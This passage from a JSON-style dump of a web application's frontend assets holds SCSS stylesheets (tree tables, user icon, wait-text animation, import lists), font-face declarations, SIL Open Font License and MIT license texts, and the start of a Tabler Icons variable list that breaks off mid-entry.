    "content": "$depth-start: 2;\n$depth-end: 15;\n\ntable {\n  &.tree-view {\n    &.table {\n      table-layout: fixed;\n    }\n\n    th {\n      > div {\n        display: flex;\n        justify-content: space-between;\n      }\n    }\n\n    tr {\n      td {\n        word-break: break-all;\n      }\n\n      &.tree {\n        td {\n          @for $i from $depth-start through $depth-end {\n            &.indent-#{$i} {\n              padding-left: calc(16px + #{$i * 16}px);\n            }\n          }\n        }\n      }\n\n      &.folded {\n        > td {\n          background-color: #cccccc;\n          overflow: hidden;\n\n          &:first-child {\n            white-space: nowrap;\n            overflow: hidden;\n            text-overflow: ellipsis;\n            width: 100%;\n          }\n        }\n      }\n    }\n  }\n}\n\n.toggle-table-body:not(:checked) + table.tree-view tbody {\n  display: none;\n}\n\n.toggle-table-body + table.tree-view > thead label {\n  cursor: pointer;\n}\n\n.toggle-table-body:checked + table.tree-view > thead .ro-icon.open {\n  display: none;\n}\n\n.toggle-table-body:not(:checked) + table.tree-view > thead .ro-icon.close {\n  display: none;\n}\n"
  },
  {
    "path": "rocky/assets/css/components/user-icon.scss",
    "content": "body > header nav ul li a.user-icon,\n.user-icon {\n  $border-radius: 50%;\n\n  min-width: initial;\n  width: 3rem;\n  height: 3rem;\n  max-width: 3rem;\n  max-height: 3rem;\n  background-color: var(--colors-purrple-500);\n  color: var(--colors-white);\n  margin: auto 0;\n  padding: 0.5rem;\n  box-sizing: border-box;\n  border-radius: $border-radius;\n  border: 0;\n}\n"
  },
  {
    "path": "rocky/assets/css/components/wait-text.scss",
    "content": "@keyframes fade-in-out {\n  0% {\n    opacity: 0;\n  }\n\n  2% {\n    opacity: 1;\n  }\n\n  8% {\n    opacity: 1;\n  }\n\n  10% {\n    opacity: 0;\n  }\n}\n\n@keyframes fade-in {\n  0% {\n    opacity: 0;\n  }\n\n  2% {\n    opacity: 1;\n  }\n\n  100% {\n    opacity: 1;\n  }\n}\n\n.wait-text {\n  position: relative;\n  height: 4rem;\n}\n\n.wait-text span {\n  animation: fade-in-out linear 10s;\n  height: 3.5rem;\n  left: 0;\n  margin-top: 2.5rem;\n  opacity: 0;\n  position: absolute;\n  top: 0;\n}\n\n.wait-text span:nth-child(2) {\n  animation-delay: 2s;\n}\n\n.wait-text span:nth-child(3) {\n  animation-delay: 4s;\n}\n\n.wait-text span:nth-child(4) {\n  animation-delay: 6s;\n}\n\n.wait-text span:nth-child(5) {\n  animation-name: fade-in;\n  animation-delay: 8s;\n}\n"
  },
  {
    "path": "rocky/assets/css/helpers/align-right.scss",
    "content": ".align-right {\n  float: right;\n}\n"
  },
  {
    "path": "rocky/assets/css/helpers/is-hidden.scss",
    "content": ".is-hidden {\n  display: none;\n}\n"
  },
  {
    "path": "rocky/assets/css/helpers/uc-first.scss",
    "content": ".uc-first {\n  text-transform: capitalize;\n}\n"
  },
  {
    "path": "rocky/assets/css/main.scss",
    "content": "/* Abstracts */\n@import \"abstracts/mixins\";\n@import \"abstracts/alert-colors\";\n\n/* Helpers */\n@import \"helpers/align-right\";\n@import \"helpers/is-hidden\";\n@import \"helpers/uc-first\";\n\n/* Vendors */\n@import \"manon-components\";\n@import \"vendor_overrides/graph-override\";\n@import \"vendor_overrides/manon/button-icon-only\";\n@import \"vendor_overrides/manon/display-toggle\";\n@import \"vendor_overrides/manon/dl\";\n@import \"vendor_overrides/manon/form-fieldset-required\";\n@import \"vendor_overrides/manon/form-radio\";\n@import \"vendor_overrides/manon/image-square\";\n@import \"vendor_overrides/manon/layout-fifty-fifty\";\n@import \"vendor_overrides/manon/layout-form\";\n@import \"vendor_overrides/manon/nested-section\";\n@import \"vendor_overrides/manon/notification\";\n@import \"vendor_overrides/manon/table\";\n@import \"vendor_overrides/manon/tile\";\n@import \"vendor_overrides/two-factor\";\n@import \"vendor_overrides/manon/tabs\";\n\n/* Theme */\n@import \"themes/soft/soft\";\n\n/* Components */\n@import \"components/action-buttons\";\n@import \"components/block-indented\";\n@import \"components/button-plain\";\n@import \"components/cat-loader\";\n@import \"components/cat-paw-loader\";\n@import \"components/cytoscape\";\n@import \"components/destructive\";\n@import \"components/dropdown-form\";\n@import \"components/dropdown\";\n@import \"components/dropdown-list\";\n@import \"components/filter\";\n@import \"components/footer-logo\";\n@import \"components/footer\";\n@import \"components/form-inline\";\n@import \"components/form\";\n@import \"components/form-checkbox\";\n@import \"components/header-navigation\";\n@import \"components/hover-block\";\n@import \"components/input-link\";\n@import \"components/introduction\";\n@import \"components/language\";\n@import \"components/layout\";\n@import \"components/table-sortable\";\n@import \"components/table-state-icons\";\n@import \"components/messages\";\n@import \"components/layout-tiles-width-1\";\n@import \"components/chapter-numbering\";\n@import \"components/notifications\";\n@import \"components/ooi-summary\";\n@import \"components/page-meta\";\n@import \"components/plugins\";\n@import \"components/qr-code\";\n@import \"components/report\";\n@import \"components/report-name-table\";\n@import \"components/risk-level-indicator\";\n@import \"components/scan-level-indicator\";\n@import \"components/select\";\n@import \"components/state-tag\";\n@import \"components/stepper\";\n@import \"components/sticky\";\n@import \"components/sticky-column\";\n@import \"components/state-tags\";\n@import \"components/system-tag\";\n@import \"components/table\";\n@import \"components/toggle\";\n@import \"components/toolbar\";\n@import \"components/tree-tables\";\n@import \"components/user-icon\";\n@import \"components/wait-text\";\n@import \"components/dashboard\";\n\n/* Print */\n@import \"components/print\";\n@import \"components/print_report\";\n"
  },
  {
    "path": "rocky/assets/css/manon-components.scss",
    "content": "/* Color sets */\n@use \"@minvws/manon/tag-colors-soft\";\n@use \"@minvws/manon/spot-large\";\n\n/* States */\n@use \"@minvws/manon/disabled\";\n\n/* Application style settings */\n@use \"@minvws/manon/application-base\";\n\n/* Icon */\n@use \"@minvws/manon/icon\";\n\n/* Text */\n@use \"@minvws/manon/headings\";\n@use \"@minvws/manon/headings-base-set\";\n@use \"@minvws/manon/p\";\n@use \"@minvws/manon/emphasized\";\n@use \"@minvws/manon/de-emphasized\";\n@use \"@minvws/manon/link\";\n@use \"@minvws/manon/nota-bene\";\n@use \"@minvws/manon/max-line-length\";\n\n/* Fundamentals */\n@use \"@minvws/manon/checkbox\";\n@use \"@minvws/manon/radio\";\n\n/* Helpers */\n@use \"@minvws/manon/horizontal-view\";\n@use \"@minvws/manon/horizontal-scroll\";\n@use \"@minvws/manon/centered-view\";\n@use \"@minvws/manon/focus-only\";\n@use \"@minvws/manon/nowrap\";\n@use \"@minvws/manon/visually-hidden\";\n@use \"@minvws/manon/hidden\";\n@use \"@minvws/manon/collapsible\";\n\n/* Layout */\n@use \"@minvws/manon/layout-set\";\n@use \"@minvws/manon/layout-form\";\n\n/* Main */\n@use \"@minvws/manon/main\";\n\n/* Section */\n@use \"@minvws/manon/section\";\n@use \"@minvws/manon/section-content-wrapper\";\n\n/* Article */\n@use \"@minvws/manon/article\";\n@use \"@minvws/manon/article-content-wrapper\";\n\n/* Layout exceptions */\n@use \"@minvws/manon/layout-authentication\";\n@use \"@minvws/manon/layout-one-third-two-thirds\";\n@use \"@minvws/manon/layout-two-thirds-one-third\";\n@use \"@minvws/manon/layout-fifty-fifty\";\n@use \"@minvws/manon/layout-column-2\";\n@use \"@minvws/manon/layout-column-3\";\n@use \"@minvws/manon/layout-column-4\";\n@use \"@minvws/manon/layout-centered\";\n\n/* Header navigation */\n@use \"@minvws/manon/header\";\n@use \"@minvws/manon/header-navigation\";\n@use \"@minvws/manon/header-navigation-content-wrapper\";\n@use \"@minvws/manon/header-navigation-collapsible\";\n@use \"@minvws/manon/header-navigation-link\";\n@use \"@minvws/manon/header-navigation-link-active\";\n@use \"@minvws/manon/header-navigation-button\";\n\n/* Footer */\n@use \"@minvws/manon/footer\";\n\n/* Components */\n@use \"@minvws/manon/accordion\";\n@use \"@minvws/manon/background-color-offset\";\n@use \"@minvws/manon/breadcrumb-bar\";\n@use \"@minvws/manon/breadcrumb-bar-content-block\";\n@use \"@minvws/manon/code-base\";\n@use \"@minvws/manon/code-block\";\n@use \"@minvws/manon/description-list\";\n@use \"@minvws/manon/filter\";\n@use \"@minvws/manon/language-selector-list\";\n@use \"@minvws/manon/hero\";\n@use \"@minvws/manon/pagination\";\n@use \"@minvws/manon/tabs\";\n@use \"@minvws/manon/sidemenu\";\n\n/* Button */\n@use \"@minvws/manon/button-base\";\n@use \"@minvws/manon/button-ghost\";\n@use \"@minvws/manon/button-destructive\";\n@use \"@minvws/manon/button-cta\";\n@use \"@minvws/manon/button-icon\";\n@use \"@minvws/manon/button-icon-only\";\n@use \"@minvws/manon/list-base\";\n@use \"@minvws/manon/skip-to-content\";\n@use \"@minvws/manon/button-container\";\n\n/* Images */\n@use \"@minvws/manon/logo\";\n\n/* Tiles */\n@use \"@minvws/manon/tile\";\n@use \"@minvws/manon/tile-image-cover\";\n@use \"@minvws/manon/tile-groups\";\n\n/* Table */\n@use \"@minvws/manon/table\";\n\n/* Needs to be first of the set */\n@use \"@minvws/manon/table-expando-rows\";\n@use \"@minvws/manon/table-caption\";\n@use \"@minvws/manon/table-number\";\n@use \"@minvws/manon/table-action-buttons\";\n\n/* Form */\n@use \"@minvws/manon/form-base\";\n@use \"@minvws/manon/form-input\";\n@use \"@minvws/manon/form-textarea\";\n@use \"@minvws/manon/form-checkbox\";\n@use \"@minvws/manon/form-select\";\n@use \"@minvws/manon/form-radio\";\n@use \"@minvws/manon/form-accent-color\";\n@use \"@minvws/manon/form-horizontal-view\";\n@use \"@minvws/manon/form-button\";\n@use \"@minvws/manon/form-button-grouped-horizontal\";\n@use \"@minvws/manon/form-inline\";\n@use \"@minvws/manon/form-combined-field\";\n@use \"@minvws/manon/form-help\";\n\n/* Fieldset */\n@use \"@minvws/manon/form-fieldset\";\n@use \"@minvws/manon/form-fieldset-visually-hidden\";\n@use \"@minvws/manon/form-horizontal-view-fieldset\";\n@use \"@minvws/manon/form-fieldset-visually-hidden-horizontal-view\";\n@use \"@minvws/manon/form-fieldset-radio\";\n@use \"@minvws/manon/form-fieldset-checkbox\";\n\n/* Notifications */\n@use \"@minvws/manon/notification\";\n@use \"@minvws/manon/notification-block-element\";\n@use \"@minvws/manon/notification-paragraph\";\n@use \"@minvws/manon/notification-table\";\n@use \"@minvws/manon/notification-error\";\n@use \"@minvws/manon/notification-error-page\";\n@use \"@minvws/manon/notification-warning\";\n@use \"@minvws/manon/notification-warning-page\";\n@use \"@minvws/manon/notification-explanation\";\n@use \"@minvws/manon/notification-explanation-page\";\n@use \"@minvws/manon/notification-confirmation\";\n@use \"@minvws/manon/notification-confirmation-page\";\n@use \"@minvws/manon/notification-system-message\";\n@use \"@minvws/manon/notification-system-page\";\n@use \"@minvws/manon/notification-form\";\n\n/* Login meta */\n@use \"@minvws/manon/login-meta\";\n\n/* Tags */\n@use \"@minvws/manon/tag\";\n@use \"@minvws/manon/tags\";\n@use \"@minvws/manon/tags-6-3\";\n\n/* Images */\n@use \"@minvws/manon/image-square\";\n"
  },
  {
    "path": "rocky/assets/css/report.scss",
    "content": "/* Abstracts */\n@import \"abstracts/alert-colors\";\n\n/* Vendors */\n@import \"vendor_overrides/manon/table\";\n@import \"vendor_overrides/manon/tile\";\n@import \"themes/soft/report\";\n\n/* Components */\n@import \"components/table-state-icons\";\n@import \"components/scan-level-indicator\";\n\n/* PDF report specific overrides */\n@import \"vendor_overrides/weasyprint/pdf-overrides\";\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/fonts/fonts.scss",
    "content": "/* Fonts */\n@import \"fredoka/fredoka\";\n@import \"open-sans/open-sans\";\n\n/* Icon font */\n@import \"tabler-icons/tabler-icons\";\n\n/* Kat icons */\n@import \"kat-icons/kat-icons\";\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/fonts/fredoka/OFL.txt",
    "content": "Copyright 2016 The Fredoka Project Authors (https://github.com/hafontia/Fredoka-One)\n\nThis Font Software is licensed under the SIL Open Font License, Version 1.1.\nThis license is copied below, and is also available with a FAQ at:\nhttp://scripts.sil.org/OFL\n\n\n-----------------------------------------------------------\nSIL OPEN FONT LICENSE Version 1.1 - 26 February 2007\n-----------------------------------------------------------\n\nPREAMBLE\nThe goals of the Open Font License (OFL) are to stimulate worldwide\ndevelopment of collaborative font projects, to support the font creation\nefforts of academic and linguistic communities, and to provide a free and\nopen framework in which fonts may be shared and improved in partnership\nwith others.\n\nThe OFL allows the licensed fonts to be used, studied, modified and\nredistributed freely as long as they are not sold by themselves. The\nfonts, including any derivative works, can be bundled, embedded,\nredistributed and/or sold with any software provided that any reserved\nnames are not used by derivative works. The fonts and derivatives,\nhowever, cannot be released under any other type of license. The\nrequirement for fonts to remain under this license does not apply\nto any document created using the fonts or their derivatives.\n\nDEFINITIONS\n\"Font Software\" refers to the set of files released by the Copyright\nHolder(s) under this license and clearly marked as such. This may\ninclude source files, build scripts and documentation.\n\n\"Reserved Font Name\" refers to any names specified as such after the\ncopyright statement(s).\n\n\"Original Version\" refers to the collection of Font Software components as\ndistributed by the Copyright Holder(s).\n\n\"Modified Version\" refers to any derivative made by adding to, deleting,\nor substituting -- in part or in whole -- any of the components of the\nOriginal Version, by changing formats or by porting the Font Software to a\nnew environment.\n\n\"Author\" refers to any designer, engineer, programmer, technical\nwriter or other person who contributed to the Font Software.\n\nPERMISSION & CONDITIONS\nPermission is hereby granted, free of charge, to any person obtaining\na copy of the Font Software, to use, study, copy, merge, embed, modify,\nredistribute, and sell modified and unmodified copies of the Font\nSoftware, subject to the following conditions:\n\n1) Neither the Font Software nor any of its individual components,\nin Original or Modified Versions, may be sold by itself.\n\n2) Original or Modified Versions of the Font Software may be bundled,\nredistributed and/or sold with any software, provided that each copy\ncontains the above copyright notice and this license. These can be\nincluded either as stand-alone text files, human-readable headers or\nin the appropriate machine-readable metadata fields within text or\nbinary files as long as those fields can be easily viewed by the user.\n\n3) No Modified Version of the Font Software may use the Reserved Font\nName(s) unless explicit written permission is granted by the corresponding\nCopyright Holder. This restriction only applies to the primary font name as\npresented to the users.\n\n4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font\nSoftware shall not be used to promote, endorse or advertise any\nModified Version, except to acknowledge the contribution(s) of the\nCopyright Holder(s) and the Author(s) or with their explicit written\npermission.\n\n5) The Font Software, modified or unmodified, in part or in whole,\nmust be distributed entirely under this license, and must not be\ndistributed under any other license. The requirement for fonts to\nremain under this license does not apply to any document created\nusing the Font Software.\n\nTERMINATION\nThis license becomes null and void if any of the above conditions are\nnot met.\n\nDISCLAIMER\nTHE FONT SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT\nOF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE\nCOPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\nINCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL\nDAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\nFROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM\nOTHER DEALINGS IN THE FONT SOFTWARE.\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/fonts/fredoka/fredoka.scss",
    "content": "/* Font: Fredoka */\n\n@font-face {\n  font-family: Fredoka;\n  font-weight: 600;\n  font-style: normal;\n  src: url(\"themes/soft/fonts/fredoka/Fredoka-SemiBold.ttf\") format(\"truetype\");\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/fonts/kat-icons/kat-icons.scss",
    "content": "/* Font:Kat icons */\n$kat-font-path: \"themes/soft/fonts/kat-icons\" !default;\n\n@font-face {\n  font-family: kat-icons;\n  font-weight: normal;\n  font-style: normal;\n  src: url(\"#{$kat-font-path}//kat-icons.eot\");\n  src: url(\"#{$kat-font-path}//kat-icons.woff\") format(\"woff\"),\n  url(\"#{$kat-font-path}//kat-icons.ttf\") format(\"truetype\"),\n  url(\"#{$kat-font-path}//kat-icons.svg\") format(\"svg\");\n}\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/fonts/open-sans/OFL.txt",
    "content": "Copyright 2020 The Open Sans Project Authors (https://github.com/googlefonts/opensans)\n\nThis Font Software is licensed under the SIL Open Font License, Version 1.1.\nThis license is copied below, and is also available with a FAQ at:\nhttp://scripts.sil.org/OFL\n\n\n-----------------------------------------------------------\nSIL OPEN FONT LICENSE Version 1.1 - 26 February 2007\n-----------------------------------------------------------\n\nPREAMBLE\nThe goals of the Open Font License (OFL) are to stimulate worldwide\ndevelopment of collaborative font projects, to support the font creation\nefforts of academic and linguistic communities, and to provide a free and\nopen framework in which fonts may be shared and improved in partnership\nwith others.\n\nThe OFL allows the licensed fonts to be used, studied, modified and\nredistributed freely as long as they are not sold by themselves. The\nfonts, including any derivative works, can be bundled, embedded,\nredistributed and/or sold with any software provided that any reserved\nnames are not used by derivative works. The fonts and derivatives,\nhowever, cannot be released under any other type of license. The\nrequirement for fonts to remain under this license does not apply\nto any document created using the fonts or their derivatives.\n\nDEFINITIONS\n\"Font Software\" refers to the set of files released by the Copyright\nHolder(s) under this license and clearly marked as such. This may\ninclude source files, build scripts and documentation.\n\n\"Reserved Font Name\" refers to any names specified as such after the\ncopyright statement(s).\n\n\"Original Version\" refers to the collection of Font Software components as\ndistributed by the Copyright Holder(s).\n\n\"Modified Version\" refers to any derivative made by adding to, deleting,\nor substituting -- in part or in whole -- any of the components of the\nOriginal Version, by changing formats or by porting the Font Software to a\nnew environment.\n\n\"Author\" refers to any designer, engineer, programmer, technical\nwriter or other person who contributed to the Font Software.\n\nPERMISSION & CONDITIONS\nPermission is hereby granted, free of charge, to any person obtaining\na copy of the Font Software, to use, study, copy, merge, embed, modify,\nredistribute, and sell modified and unmodified copies of the Font\nSoftware, subject to the following conditions:\n\n1) Neither the Font Software nor any of its individual components,\nin Original or Modified Versions, may be sold by itself.\n\n2) Original or Modified Versions of the Font Software may be bundled,\nredistributed and/or sold with any software, provided that each copy\ncontains the above copyright notice and this license. These can be\nincluded either as stand-alone text files, human-readable headers or\nin the appropriate machine-readable metadata fields within text or\nbinary files as long as those fields can be easily viewed by the user.\n\n3) No Modified Version of the Font Software may use the Reserved Font\nName(s) unless explicit written permission is granted by the corresponding\nCopyright Holder. This restriction only applies to the primary font name as\npresented to the users.\n\n4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font\nSoftware shall not be used to promote, endorse or advertise any\nModified Version, except to acknowledge the contribution(s) of the\nCopyright Holder(s) and the Author(s) or with their explicit written\npermission.\n\n5) The Font Software, modified or unmodified, in part or in whole,\nmust be distributed entirely under this license, and must not be\ndistributed under any other license. The requirement for fonts to\nremain under this license does not apply to any document created\nusing the Font Software.\n\nTERMINATION\nThis license becomes null and void if any of the above conditions are\nnot met.\n\nDISCLAIMER\nTHE FONT SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\nEXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF\nMERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT\nOF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE\nCOPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,\nINCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL\nDAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\nFROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM\nOTHER DEALINGS IN THE FONT SOFTWARE.\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/fonts/open-sans/open-sans.scss",
    "content": "/* Font: Open sans */\n\n/* Open sans */\n\n  /* Regular */\n  @font-face {\n    font-family: \"Open Sans\";\n    font-weight: normal;\n    font-style: normal;\n    src: url(\"themes/soft/fonts/open-sans/OpenSans-Regular.ttf\") format(\"truetype\");\n  }\n\n  @font-face {\n    font-family: \"Open Sans\";\n    font-weight: normal;\n    font-style: italic;\n    src: url(\"themes/soft/fonts/open-sans/OpenSans-Italic.ttf\") format(\"truetype\");\n  }\n\n  /* Bold */\n  @font-face {\n    font-family: \"Open Sans\";\n    font-weight: bold;\n    font-style: normal;\n    src: url(\"themes/soft/fonts/open-sans/OpenSans-Bold.ttf\") format(\"truetype\");\n  }\n\n  @font-face {\n    font-family: \"Open Sans\";\n    font-weight: bold;\n    font-style: italic;\n    src: url(\"themes/soft/fonts/open-sans/OpenSans-BoldItalic.ttf\") format(\"truetype\");\n  }\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/fonts/tabler-icons/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2020-2022 Paweł Kuna\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "rocky/assets/css/themes/soft/fonts/tabler-icons/tabler-icons.scss",
    "content": "/*!\n * Tabler Icons 1.72.0 by tabler - https://tabler.io\n * License - https://github.com/tabler/tabler-icons/blob/master/LICENSE\n */\n$ti-font-family: \"tabler-icons\" !default;\n$ti-font-path: \"themes/soft/fonts/tabler-icons\" !default;\n$ti-font-display: null !default;\n$ti-prefix: \"ti\" !default;\n\n@font-face {\n  font-family: $ti-font-family;\n  font-style: normal;\n  font-weight: 400;\n  font-display: $ti-font-display;\n  src: url(\"#{$ti-font-path}/tabler-icons.eot\");\n  src: url(\"#{$ti-font-path}/tabler-icons.eot?#iefix\") format(\"embedded-opentype\"),\n  url(\"#{$ti-font-path}/tabler-icons.woff2\") format(\"woff2\"),\n  url(\"#{$ti-font-path}/tabler-icons.woff\") format(\"woff\"),\n  url(\"#{$ti-font-path}/tabler-icons.ttf\") format(\"truetype\"),\n  url(\"#{$ti-font-path}/tabler-icons.svg\\##{$ti-font-family}\") format(\"svg\");\n}\n\n@media screen and (min-device-pixel-ratio: 0) {\n  @font-face {\n    font-family: $ti-font-family;\n    src: url(\"#{$ti-font-path}/tabler-icons.svg\\##{$ti-font-family}\") format(\"svg\");\n  }\n}\n\n.#{$ti-prefix} {\n\n  &::before,\n  ::after {\n    font-family: $ti-font-family !important;\n    speak: none;\n    font-style: normal;\n    font-weight: normal;\n    font-variant: normal;\n    text-transform: none;\n    line-height: 1;\n\n    /* Better Font Rendering */\n    -webkit-font-smoothing: antialiased;\n    -moz-osx-font-smoothing: grayscale;\n  }\n}\n\n@function unicode($str) {\n  @return unquote('\"')+unquote(str-insert($str, \"\\\\\", 1))+unquote('\"');\n}\n\n$ti-icon-a-b: unicode('ec36');\n$ti-icon-a-b-2: unicode('f25f');\n$ti-icon-a-b-off: unicode('f0a6');\n$ti-icon-abacus: unicode('f05c');\n$ti-icon-abacus-off: unicode('f3b6');\n$ti-icon-abc: unicode('f567');\n$ti-icon-access-point: unicode('ed1b');\n$ti-icon-access-point-off: unicode('ed1a');\n$ti-icon-accessible: unicode('eba9');\n$ti-icon-accessible-filled: unicode('f6ea');\n$ti-icon-accessible-off: unicode('f0a7');\n$ti-icon-activity: unicode('ed23');\n$ti-icon-activity-heartbeat: unicode('f0db');\n$ti-icon-ad: unicode('ea02');\n$ti-icon-ad-2: unicode('ef1f');\n$ti-icon-ad-circle: unicode('f79e');\n$ti-icon-ad-circle-filled: unicode('f7d3');\n$ti-icon-ad-circle-off: unicode('f79d');\n$ti-icon-ad-filled: unicode('f6eb');\n$ti-icon-ad-off: unicode('f3b7');\n$ti-icon-address-book: unicode('f021');\n$ti-icon-address-book-off: unicode('f3b8');\n$ti-icon-adjustments: unicode('ea03');\n$ti-icon-adjustments-alt: unicode('ec37');\n$ti-icon-adjustments-bolt: unicode('f7fb');\n$ti-icon-adjustments-cancel: unicode('f7fc');\n$ti-icon-adjustments-check: unicode('f7fd');\n$ti-icon-adjustments-code: unicode('f7fe');\n$ti-icon-adjustments-cog: unicode('f7ff');\n$ti-icon-adjustments-dollar: unicode('f800');\n$ti-icon-adjustments-down: unicode('f801');\n$ti-icon-adjustments-exclamation: unicode('f802');\n$ti-icon-adjustments-filled: unicode('f6ec');\n$ti-icon-adjustments-heart: unicode('f803');\n$ti-icon-adjustments-horizontal: unicode('ec38');\n$ti-icon-adjustments-minus: unicode('f804');\n$ti-icon-adjustments-off: unicode('f0a8');\n$ti-icon-adjustments-pause: unicode('f805');\n$ti-icon-adjustments-pin: unicode('f806');\n$ti-icon-adjustments-plus: unicode('f807');\n$ti-icon-adjustments-question: unicode('f808');\n$ti-icon-adjustments-search: unicode('f809');\n$ti-icon-adjustments-share: unicode('f80a');\n$ti-icon-adjustments-star: unicode('f80b');\n$ti-icon-adjustments-up: unicode('f80c');\n$ti-icon-adjustments-x: unicode('f80d');\n$ti-icon-aerial-lift: unicode('edfe');\n$ti-icon-affiliate: unicode('edff');\n$ti-icon-affiliate-filled: unicode('f6ed');\n$ti-icon-air-balloon: unicode('f4a6');\n$ti-icon-air-conditioning: unicode('f3a2');\n$ti-icon-air-conditioning-disabled: unicode('f542');\n$ti-icon-air-traffic-control: unicode('fb01');\n$ti-icon-alarm: unicode('ea04');\n$ti-icon-alarm-average: unicode('fc9e');\n$ti-icon-alarm-filled: unicode('f709');\n$ti-icon-alarm-minus: unicode('f630');\n$ti-icon-alarm-minus-filled: unicode('f70a');\n$ti-icon-alarm-off: unicode('f0a9');\n$ti-icon-alarm-plus: unicode('f631');\n$ti-icon-alarm-plus-filled: unicode('f70b');\n$ti-icon-alarm-snooze: unicode('f632');\n$ti-icon-alarm-snooze-filled: unicode('f70c');\n$ti-icon-album: unicode('f022');\n$ti-icon-album-off: unicode('f3b9');\n$ti-icon-alert-circle: unicode('ea05');\n$ti-icon-alert-circle-filled: unicode('f6ee');\n$ti-icon-alert-circle-off: unicode('fc65');\n$ti-icon-alert-hexagon: unicode('f80e');\n$ti-icon-alert-hexagon-filled: unicode('fa34');\n$ti-icon-alert-hexagon-off: unicode('fc66');\n$ti-icon-alert-octagon: unicode('ecc6');\n$ti-icon-alert-octagon-filled: unicode('f6ef');\n$ti-icon-alert-small: unicode('f80f');\n$ti-icon-alert-small-off: unicode('fc67');\n$ti-icon-alert-square: unicode('f811');\n$ti-icon-alert-square-filled: unicode('fa35');\n$ti-icon-alert-square-rounded: unicode('f810');\n$ti-icon-alert-square-rounded-filled: unicode('fa36');\n$ti-icon-alert-square-rounded-off: unicode('fc68');\n$ti-icon-alert-triangle: unicode('ea06');\n$ti-icon-alert-triangle-filled: unicode('f6f0');\n$ti-icon-alert-triangle-off: unicode('fc69');\n$ti-icon-alien: unicode('ebde');\n$ti-icon-alien-filled: unicode('f70d');\n$ti-icon-align-box-bottom-center: unicode('f530');\n$ti-icon-align-box-bottom-center-filled: unicode('f70e');\n$ti-icon-align-box-bottom-left: unicode('f531');\n$ti-icon-align-box-bottom-left-filled: unicode('f70f');\n$ti-icon-align-box-bottom-right: unicode('f532');\n$ti-icon-align-box-bottom-right-filled: unicode('f710');\n$ti-icon-align-box-center-bottom: unicode('facb');\n$ti-icon-align-box-center-middle: unicode('f79f');\n$ti-icon-align-box-center-middle-filled: unicode('f7d4');\n$ti-icon-align-box-center-stretch: unicode('facc');\n$ti-icon-align-box-center-top: unicode('facd');\n$ti-icon-align-box-left-bottom: unicode('f533');\n$ti-icon-align-box-left-bottom-filled: unicode('f711');\n$ti-icon-align-box-left-middle: unicode('f534');\n$ti-icon-align-box-left-middle-filled: unicode('f712');\n$ti-icon-align-box-left-stretch: unicode('face');\n$ti-icon-align-box-left-top: unicode('f535');\n$ti-icon-align-box-left-top-filled: unicode('f713');\n$ti-icon-align-box-right-bottom: unicode('f536');\n$ti-icon-align-box-right-bottom-filled: unicode('f714');\n$ti-icon-align-box-right-middle: unicode('f537');\n$ti-icon-align-box-right-middle-filled: unicode('f7d5');\n$ti-icon-align-box-right-stretch: unicode('facf');\n$ti-icon-align-box-right-top: unicode('f538');\n$ti-icon-align-box-right-top-filled: unicode('f715');\n$ti-icon-align-box-top-center: unicode('f539');\n$ti-icon-align-box-top-center-filled: unicode('f716');\n$ti-icon-align-box-top-left: unicode('f53a');\n$ti-icon-align-box-top-left-filled: unicode('f717');\n$ti-icon-align-box-top-right: unicode('f53b');\n$ti-icon-align-box-top-right-filled: unicode('f718');\n$ti-icon-align-center: unicode('ea07');\n$ti-icon-align-justified: unicode('ea08');\n$ti-icon-align-left: unicode('ea09');\n$ti-icon-align-right: unicode('ea0a');\n$ti-icon-alpha: unicode('f543');\n$ti-icon-alphabet-cyrillic: unicode('f1df');\n$ti-icon-alphabet-greek: unicode('f1e0');\n$ti-icon-alphabet-latin: unicode('f1e1');\n$ti-icon-alt: 